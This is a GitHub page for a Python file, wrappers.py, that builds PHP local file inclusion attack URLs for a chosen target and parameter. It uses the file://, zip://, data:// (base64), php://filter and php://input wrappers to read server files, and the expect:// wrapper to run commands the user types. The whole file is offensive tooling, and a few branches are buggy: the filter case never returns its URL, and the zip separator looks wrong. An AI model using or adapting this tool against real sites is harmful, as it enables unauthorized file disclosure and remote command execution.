-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathwrappers.py
96 lines (69 loc) · 2.73 KB
/
wrappers.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import sys
class wrapper:
__possible_wrappers={
"file":"datai",
"zip":"datai",
"input":"php://input",
"data":"datai",
"filter":"datai",
"expect":"datai"}
def __init__(self,url,entry,wrapper):
self.__url=url
self.__entry=entry
self.__wrapper=wrapper
pass
def check_wrapper(self):
keys = self.__possible_wrappers.keys()
str_cmd = None
str_cmd = self.search_keys(keys)
if self.is_not_found(str_cmd) == True:
print("filter not found")
return str_cmd
def search_keys(self,keys):
str_cmd = None
for value_key in keys:
if self.__wrapper == value_key:
if self.__possible_wrappers[value_key] == "datai":
str_cmd = self.elaborate(value_key)
else:
str_cmd = "{}/?{}={}".format(str(self.__url),str(self.__entry),self.__possible_wrappers[self.__wrapper])
return str_cmd
def elaborate(self,value):
if value == "zip":
str_zip = input("insert name of the zip archive: ")
str_filename = input("insert php filename: ")
str_cmd = "{}/?{}=zip://{}%32{}".format(str(self.__url),str(self.__entry),str(str_zip),str(str_filename))
return str_cmd
if value == "file":
str_filename = input("insert php file name: ")
str_cmd = "{}/?{}=file://{}".format(str(self.__url),str(self.__entry),str(str_filename))
return str_cmd
if value == "data":
str_base64 = input("insert base64 content")
str_cmd = "{}/?{}=data://text/plain;base64,{}".format(str(self.__url),str(self.__entry),str(str_base64))
return str_cmd
if value == "filter":
str_resource = input("insert filename to filter: ")
str_cmd = "{}/?{}=php://filter/convert.base64-encode/resource={}".format(str(self.__url),str(self.__entry),str(str_resource))
pass
if value == "expect":
str_cmd = input("insert command to execute ")
str_cmd = "{}/?{}=expect://{}".format(str(self.__url),str(self.__entry),str(str_cmd))
return str_cmd
return "notfound"
def is_not_found(self,str_cmd)->bool:
if(str_cmd == "notfound"):
return True
return False
def set_url(self,url):
self.__url = url
def get_url(self) -> str:
return self.__url
def set_entry(self,entry):
self.__entry=entry
def get_entry(self) -> str:
return self.__entry
def set_wrapper(self,wrapper):
self.__wrapper = wrapper
def get_wrapper(self):
return self.__wrapper